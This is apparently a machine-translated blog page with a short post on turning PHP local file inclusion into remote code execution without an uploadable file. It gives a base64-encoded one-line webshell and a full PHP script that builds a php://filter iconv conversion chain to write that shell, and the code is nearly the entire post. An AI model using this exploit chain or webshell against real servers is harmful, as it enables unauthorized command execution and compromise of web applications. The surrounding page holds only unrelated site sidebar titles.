当前位置:网站首页>Lfi-rce without controllable documents
Lfi-rce without controllable documents
2022-06-30 14:20:00 【Ff. cheng】
Preface
stay PHP in , We can use PHP Base64 Filter Loose analysis , adopt iconv filter And other coding combinations to construct a specific PHP Code to complete the RCE .
utilize
<?=`$_GET[0]`;;?>
PD89YCRfR0VUWzBdYDs7Pz4=
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
var_dump($final_payload);
Reference resources
边栏推荐
- Three uses of golang underscores
- Calculates the length of the last word in a string, separated by spaces
- Comprehensively analyze the basic features and summary of free and paid SSH tools
- MFQE 2.0: A New Approach for Multi-FrameQuality Enhancement on Compressed Video
- Thoughts on the security of a PHP file name regular verification
- 【 scientific literature measurement 】 mining and visualization of keywords in foreign and Chinese Literature
- 想请教一下,我在佛山,到哪里开户比较好?手机开户是安全么?
- @Component use cases
- Begin End use the pit encountered
- I'd like to ask you, where can I open an account in Foshan? Is it safe to open a mobile account?
猜你喜欢

On simple code crawling Youdao translation_ 0's problem (to be solved)

QQ 居然被盗了?原因在这......

This editor will open source soon!

【科学文献计量】外文文献及中文文献关键词的挖掘与可视化

Initial attack and defense world Misc

Jetpack Compose 实现完美屏幕适配

Flat shading with unity

Introduction to reverse commissioning - VA and RVA conversion in PE 04/07

Google Earth engine (GEE) -- converts string to number and applies it to time search (ee.date.fromymd)

Mysql database foundation: stored procedures and functions
随机推荐
Laravel configures passport and returns token using JWT
Upgrade composer self update
[observation] as the intelligent industry accelerates, why should AI computing power take the lead?
Rpm2rpm packaging steps
Pit used by go language array type
ot initialized – call ‘refresh’ before invoking lifecycle methods via the context: Root WebApplicati
QQ 居然被盗了?原因在这......
Optimization of unit test efficiency: why test programs? What are the benefits of testing?
This editor will open source soon!
【科学文献计量】外文文献及中文文献关键词的挖掘与可视化
Chapter 13 signal (III) - example demonstration
go channel && select
Three uses of golang underscores
@component使用案例
[Title brushing] coco, who likes bananas
数据恢复软件EasyRecovery15下载
QQ was stolen? The reason is
"Persistent diseases" that cannot be solved in IM application development
Attack and defense world web questions
Notepad regular delete the line of the keyword